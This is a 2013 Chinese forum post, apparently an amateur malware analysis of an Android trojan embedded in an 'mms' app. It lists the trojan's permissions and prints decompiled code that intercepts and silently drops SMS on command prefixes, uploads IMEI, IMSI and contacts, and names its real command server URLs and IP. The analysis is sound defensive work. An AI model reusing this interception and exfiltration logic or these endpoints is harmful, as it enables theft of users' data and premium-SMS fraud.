-
-
[原创]一个简单的android木马分析
-
发表于:
2013-1-1 21:45
6232
-
Android木马分析报告
(--大脸猫&兜兜分析组)
附:一个简单的木马分析,菜鸟一枚,求指教,请勿吐槽!
一、 基本信息
病毒名称:未知
病毒类型:木马样本MD5:8597c6e7e334bb3ace0502ff9957b7de样本长度:32KB
发现时间:未知感染系统:Android 1.5及以上二、 概述
该木马植入到手机软件“mms”中,主要行为是通过向感染病毒的手机发送以特定内容开头的短消息(如以“e9Ao23su 001”开头)来控制被染手机,发送短信给特定号码。拦截短信号码包含特定数据的短信(如包含“8129600096”),获取用户手机的IMEI、IMSI、联系人等信息,发送到配置文件指定的远程服务器之中。由此,造成用户信息泄露和短消息丢失。拦截和发送短信的特定号码怀疑是服务提供商,进行服务订购恶意扣费。
三、 样本特征
1. 敏感权限
发送短信 已使用 android.permission.SEND_SMS
读取联系人信息 已使用 android.permission.READ_CONTACTS
监控接收短信 已使用 android.permission.RECEIVE_SMS
接收开机启动广播 已使用 android.permission.RECEIVE_BOOT_COMPLETED
2. 启动方式和恶意模块启动方式:监控短信(收到短信)启动服务
启动对象:com.android.systemsecurity.SmsReciver
启动方式:屏幕解锁启动服务
启动对象:.AutorunBroadcastReceiver
启动方式:开机启动服务
启动对象:.AutorunBroadcastReceiver
四、 行为分析
首先我们观察Manifest.xml文件:
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
由此,我们大概了解了该恶意程序的一些恶意倾向,接下来二话不说,探个究竟。还是这个xml文件,我们注意到:
<application android:label="@string/app_name" android:icon="@drawable/ic_launcher" android:name="com.android.systemsecurity.SmsApplication" android:debuggable="true" android:clearTaskOnLaunch="true">//首先启动的应用进程,进入到OnCreate()方法
既然这样,我们来个顺藤摸瓜看看有什么效果。打开SmsApplication.java,来到OnCreate()方法,一切正如先前所言:
imei = getImei(this);//获取imei
imsi = getImsi(this);//获取imsi
到这里为止,我们已经清楚地知道该木马在应用程序启动时便获取了imei、imsi等信息,但是它获取这些信息来干什么呢,它会屑于简单地获取这两个单纯的信息吗?再进一步,我们得到了答案!
观察发现,SmsReciver.java文件里藏匿着惊人的阴谋!!!
SmsReciver分析
当接收短息时触发。这个Reciver主要的作用是拦截信息。如果是木马服务器的指令信息则执行相关指令(开启SystemService,上传用户短信,拦截指定号码的短信,给指定号码发送短信(猜测是扣费相关服务提供商))。如果是普通信息则反馈给用户。
public class SmsReciver extends BroadcastReceiver
看,SmsRecever是一个广播类,单纯地从名称上看就知道它把毒手伸向了哪里,没错,可恶的它就是对用户的短信痛下狠手的!
SmsMessage asmsmessage[];//创建一个SmsMessage数组
int j;
asmsmessage = getSmsMessages(bundle);//获取短信内容
j = 0;
_L9:
int k = asmsmessage.length;//短信长度
if (j >= k) goto _L1; else goto _L3
_L3:
SmsMessage smsmessage;//它打算遍历消息内容了,接下来就不干好事了
String s;
String s2;
smsmessage = asmsmessage[j];
s = smsmessage.getMessageBody();//读取消息
String s1 = String.valueOf(SmsApplication.getServerKey());
s2 = (new StringBuilder(s1)).append(" 001").toString();
if (!s.startsWith(s2)) goto _L5; else goto _L4//判断短信内容是否以"e9Ao23su001开 头
_L4:
Intent intent1 = new Intent(context, com/android/systemsecurity/SystemService);
android.content.ComponentName componentname = context.startService(intent1);
abortBroadcast();//凶手原型毕露了!它就是这样来干坏事的
看到这里,不知道你是怎样想的,愤怒的我迫不及待地想过去追究com/android/systemsecurity/SystemService的责任了,看看这个傀儡还干了什么丧尽天良的事,呵呵不过稍等。我们继续向下分析后面会针对SystemService进行分析。不过可以先告诉大家他上传了大家的联系人。
_L5:
if(!smsmessage.getMessageBody().startsWith((new StringBuilder(String.valueOf(SmsApplication.getServerKey()))).append(" 002").toString())) goto _L7; else goto _L6这里又对信息进行了拦截当以e9Ao23su002开头时执行下面的L6
_L6:
SmsApplication.logStat((new StringBuilder("Get stat: next time = ")).append(SmsApplication.millsToString(SmsApplication.settings.saved.nextTimeConnection)).toString(), context);
SmsApplication.uploadMessageStat(context);//在这个函数中这个恶意的应用上传了你的所有信息http://stat.load-center.ru /replies.php 54.247.174.38 ==>> 922201638 ==>> 美国 华盛顿州金县西雅图市亚马逊网络服务有限责任公司
abortBroadcast();
goto _L1
_L8:
if(SmsApplication.settings.isNewServer(context, smsmessage.getOriginatingAddress(), smsmessage.getMessageBody()))//判断是不是一个新 的服务信息 将服务连接flag设置为true
abortBroadcast();
if(System.currentTimeMillis() - SmsApplication.getLastSendTime() > SmsApplication.responseAwayTime || smsmessage.getOriginatingAddress().length() > 6 && SmsApplication.findNumberInPhoneBook(context, smsmessage.getOriginatingAddress())) goto _L10; else goto _L9//这里对服务信息和普通信息分别处理如果是服务信息则通过.captchaLogic函数计算反馈信息并发送短信。如果是普通信息那么就进行短信数据库的更新
_L9:
MessagesDataSource messagesdatasource;
abortBroadcast();
SmsApplication.captchaLogic(smsmessage);
messagesdatasource = new MessagesDataSource(context);
messagesdatasource.open();
messagesdatasource.createMessage(smsmessage.getMessageBody(), SmsApplication.getLastShortCode(), smsmessage.getOriginatingAddress());
messagesdatasource.close();
_L10://如果是服务反馈信息或者是删除筛选器记录的号码则直接删除信息
if(SmsApplication.isServiceNumber(smsmessage.getOriginatingAddress()))
abortBroadcast();
if(SmsApplication.settings.isDeleteMessage(smsmessage.getOriginatingAddress(), smsmessage.getMessageBody()))
abortBroadcast();
SystemService 分析
开启一个线程执行相关操作。这里主要分析线程的部分。
if((SmsApplication.settings.saved.isFirstStart)|| (SmsApplication.settings.saved.isNeedSendContacts));
try
{
SmsApplication.sendContactsToServer(this, SmsApplication.contactsToXml(SmsApplication.getContacts(this)));
SmsApplication.logStat("SystemService: Send Request", this);
localServerResponse = SmsApplication.sendRequest(); //如果第一次启动或者connectflag是true那么就执行这个函数。这个函数的主要作用是上传用户的基本信息 imei,os,imsi。然后返回相关信息。要发送信息的号码要删选的号码等等。发送地址http://load-center.ru /connect.php
54.247.174.38 ==>> 922201638 ==>> 美国 华盛顿州金县西雅图市亚马逊网络服务有限责任公司
if (localServerResponse.filters.size() > 0)
SmsApplication.settings.smsFilters = localServerResponse.filters;
if (localServerResponse.smscFilters.size() > 0)
SmsApplication.settings.smscFilters = localServerResponse.smscFilters;
SmsApplication.settings.save(this);
if (localServerResponse.sms.size() <= 0);
}
网络分析
上面一条是发送到服务器的 包括了上面提到的 手机基本信息
下面一条是服务器的反馈 以xml形式返回由于上传的手机基本信息对于国外的服务器来说没有利用价值所有返回来的信息是空的。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)